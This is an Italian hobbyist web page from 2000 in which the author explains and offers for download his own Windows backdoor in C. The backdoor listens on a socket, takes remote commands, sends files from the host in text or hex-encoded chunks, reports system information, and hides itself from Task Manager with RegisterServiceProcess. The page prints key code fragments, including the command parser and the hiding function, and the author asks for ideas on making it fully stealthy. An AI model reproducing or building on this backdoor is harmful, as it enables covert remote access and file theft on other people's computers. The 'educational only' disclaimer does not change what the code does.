Backdoor in C

Qui troverete il progetto di una backdoor scritta da me in C, per adesso è in grado di visualizzare messaggi e prelevare file, in futuro...

Disclaimer

Mah, questa e' la prima volta che scrivo una cosa del genere, comunque: il materiale che troverete è solo a scopo didattico ed esplicativo. Non mi ritengo responsabile di chiunque farà un uso improprio di queste informazioni.

Due parole sul codice

Inizio con il dire che questa non è una versione definitiva, né un una versione beta. è solo un progetto, del codice che ho scritto in qualche giorno che va ampliato, perfezionato e debuggato.

Ora passiamo al codice vero e proprio:

All'inizio possiamo trovare

#define WIN32_LEAN_AND_MEAN

Cosa significa? Semplice, indica al compilatore (nel mio caso il VC++ 5.0) che il programma ha bisogno solo degli header essenziali, riducendo così le dimensioni del file compilato.

#include <winsock.h>
#include <winuser.h>
#include <winbase.h>
#include <winerror.h>

Queste istruzioni dicono quali header includere;  abbiamo il  winsock e altre librerie che consento al programma di usare le funzioni standard di windows per reperire informazioni o, ad esempio, visualizzare messaggi.

if (WSAStartup(MAKEWORD(1,1),&wsaData) == SOCKET_ERROR)

Qui procediamo all'inizializzazione del winsock (minimo versione 1.1), e, se viene rilevato un errore, si esegue il blocco if

Di seguito abbiamo la creazione del socket che si metterà in ascolto (listen_socket).

unsigned char shutdown=0

La variabile qui sopra mi serve per controllare il funzionamento del server (0=funzionamento normale, 255=ordine di spegnimento); questa è infatti utilizzata come condizione di uscita del ciclo while [while(!shutdown)], cioè finché shutdown =0

msgsock = accept(listen_socket,(struct sockaddr*)&from, &fromlen)

...

send (msgsock,"Backdoor on line...\r\n",21,0)

Ok, abbiamo una richiesta di connessione e la accettiamo, rinviando la stringa "Backdoor on line..."

retval=recv(msgsock,Buffer,sizeof(Buffer),0);

Quest'istruzione mette il server in attesa di un comando dal client e, una volta ricevutolo, lo memorizza in Buffer (char[128]).

Successivamente viene verificato che il velore di ritorno della funzione (retval) sia diverso da 0 (disconnessione del client) e da -1 (errore).

Il ciclo che segue serve a trasferire il valore di Buffer in data_in (CString), più semplice da manipolare.

L'istruzione data_in.MakeLower(); serve a convertire la stringa in minuscolo, in modo da evitare errori nell'interpretazione dei comandi.

Per l'interpretazione dei comandi usavo un ciclo che percorreva tutta la stringa fino a trovare uno spazio: quello che era a sinistra veniva considerato il comando, quello che c'era a destra veniva considerato l'argomento. Questo metodo era piuttosto lento e presentava problemi in caso di argomenti multipli.

Nella versione attuale viene semplicemente effettuato un controllo di questo tipo:

if (data_in.Left(4)=="echo")
{
    arg=data_in.Right(data_in.GetLength()-4-1)+"\r\n";
    cmd=1;
}

Vengono cioè controllati solo i primi caratteri della stringa, quelli che dovrebbero comporre il comando; il resto viene messo nella variabile arg, che servirà in seguito.

La variabile cmd (unsigned char, valori da 0 a 255) viene usata per memorizzare il tipo di comando; in realtà è abbastanza inutile, in quanto il codice per l'esecuzione del comando potrebbe essere inserito direttamente nel blocco if

Abbiamo quindi un blocco di questo tipo:

switch(cmd)
{
case 1:

...

}

che esegue il comando. I comandi da 252 a 255 hanno funzioni particolari:

  1. visualizzazione help

  2. chiude la connessione del client

  3. esegue lo spegniento del server

  4. comando non capito

Per quanto riguarda il comando 4 (info) mi appoggio interamente alle librerie di sistema, per recuperare le informazioni. Se avete osservato bene il codice, avrete senz'altro notato che viene eseguito un controllo anche per altri tipo di architettura (info.wProcessorArchitecture). Ma come, direte voi, scrivi una backdoor che lavora con codice x86 e usa le API di win, e vuoi che questa ti rilevi piattaforme diverse dalla i386? Avete ragione, è assurdo...

Il comando 5 (gett) serve per prelevare dal server file di testo (non funziona con i file binari), mandando 2KB per volta e aspettando conferma della ricezione prima di inviare il segmento successivo.

Il comando 6 (getb) serve per prelevare file binari e funziona in modo analogo al 5, solo che prima di inviare i dati li converte in esadecimale; spetta al client riconvertirli e rimettere insieme i vari pezzi.

Le istruzioni che seguono

if (retval == SOCKET_ERROR)

if (retval == 0)

vengono eseguite solo quando si esce dal ciclo while interno, cioè quando è finita una sessione (per errore o disconnessione) e si occupano di chiudere il socket; riparte quindi il ciclo while esterno (a meno che non ci sia shutdown=255) che si rimette in ascolto.

Ho lasciato per ultima la function che trovate prima del blocco main:

DWORD Nascondi (void)
{
    typedef DWORD (CALLBACK* LPFUNC1)(DWORD,DWORD);
    HMODULE mod;
    LPFUNC1 DllFunc;
    DWORD id;
    mod=GetModuleHandle("kernel32");
    DllFunc=(LPFUNC1)GetProcAddress(mod,"RegisterServiceProcess");
    id=GetCurrentProcessId();
    return DllFunc(id,1);
}

Questa è la function che si occupa di nascondere la backdoor al taskmanager. Vediamola in dettaglio:

typedef DWORD (CALLBACK* LPFUNC1)(DWORD,DWORD);

Qui sopra abbiamo il prototipo della funzione che andrò a chiamare, in questo caso si nota che passo due parametri DWORD e mi viene restituito un DWORD.

mod, DllFunc e id sono rispetivamente l'handle per il kernel, l'indirizzo della funzione e l'id del processo (la backdoor). Con la funzione GetModuleHandle recupero l'handle del kernel per usarlo in (LPFUNC1)GetProcAddress(mod,"RegisterServiceProcess");da quest'ultima ottengo l'indirizzo della funzione che mi interessa (RegisterServiceProcess). Una volta ottenuto il suo indirizzo gli passo l'id e il valore di ritorno viene usato come valore di ritorno della function.

E con questo ho finito

I comandi

La backdoor stessa è in grado di darvi un help (con help, appunto) sui suoi comandi, che sono anche abbastanza semplici.

History

Dalla versione 0.1 ho iniziato a tenere traccia dei cambiamenti; ora siamo arrivati alla versione 0.1.67.

0.1.67

Ho definitivamente abbandonato il winsock 2.0 a favore della versione 1.1 (molto più comune).

Ho semplificato alcune procedure.

Ho fatto alcuni piccoli cambiamenti.

0.1.50

Ho inserito lo scaricamento di file binari senza bisogno di netcat.

L'uso di Nascondi() non manda più in crash il server :-)

0.1.00

Ho inserito una bozza di funzione che serve a nascondere la backdoor (*molto* instabile).

Ho ultimato la funzione che scarica i file di testo (non funziona con file binari).

Conclusioni

Beh, il codice si può senza dubbio migliorare; io sto provvedendo, ma se avete dei suggerimenti postateli pure.

In generale il codice è piuttosto complesso, nel senso che uso procedure che complicano il tutto, ma come ho gia detto (scritto?), ci sto lavorando...

Per adesso la backdoor  è in grado di nascondersi al S.O., registrandosi come servizio; questo metodo la nasconde al task manager (Ctrl+Alt+Canc), ma usando un programma tipo PView è chiaramente visibile. Mi è stato detto che per farla diventare totalmente stealth bisognerebbe costruirla come modulo del kernel... non ho idea di come si faccia :-(

Per commenti, idee e insulti avete il mio indirizzo ;-)

 

 

Ciao a tutti

Kronos

Scarica


Ultimo aggiornamento: 12/04/2000